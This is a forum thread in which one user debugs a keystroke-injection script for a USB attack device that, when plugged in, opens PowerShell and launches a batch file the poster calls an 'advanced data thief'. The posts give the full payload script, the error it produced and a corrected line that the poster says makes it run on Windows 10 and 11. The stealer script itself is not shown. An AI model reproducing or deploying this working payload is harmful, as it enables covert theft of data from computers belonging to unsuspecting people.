Gee403 Posted June 13, 2022 Share Posted June 13, 2022 ive had no luck getting anything anyones made to work at least not like the hid execution of it , im trying to use the advanced data theif verifiy.bat with my script but power shell wont properly execute it it , i just dont think i know enough about coding cause if i type all these commands manually it works , powershell just is removing all the \ from my key strokes so it wont properly execute. EJECT_TIME=45 CUCUMBER DISABLE ATTACKMODE HID STORAGE Q DELAY 1000 LED ATTACK Q DELAY 100 Q GUI r Q DELAY 100 Q STRING cmd.exe /c start powershell Q ENTER Q DELAY 150 Q STRING Start-Process D:\payloads\switch2\verifiy.bat Q ENTER Q DELAY 1500 Q STRING EXIT Q ENTER Q Delay 50 Q STRING EXIT Q ENTER sync LED FINISH Q DELAY 1500 shutdown now it works up until i try to run the verifiy.bat , i think i just dont know the right syntax to excute a .bat like that because the error im getting is missing some of my input PS C:\Users\workd> Start-Process D:payloads.switch2.verifiy.bat Start-Process : This command cannot be run due to the error: The system cannot find the file specified. At line:1 char:1 + Start-Process D:payloads.switch2.verifiy.bat + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOperationException + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand Quote Link to comment Share on other sites More sharing options...
Gee403 Posted June 13, 2022 Author Share Posted June 13, 2022 lol im assuming that one of the special charcters it cant type is \ Quote Link to comment Share on other sites More sharing options...
Solution Gee403 Posted June 13, 2022 Author Solution Share Posted June 13, 2022 35 minutes ago, Gee403 said: Q STRING Start-Process D:\payloads\switch2\verifiy.bat changed it to Q STRING "D:\payloads\switch2\verifiy.bat & '' " and now it runs as intended Quote Link to comment Share on other sites More sharing options...
Gee403 Posted June 13, 2022 Author Share Posted June 13, 2022 tested on windows 10 and 11 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.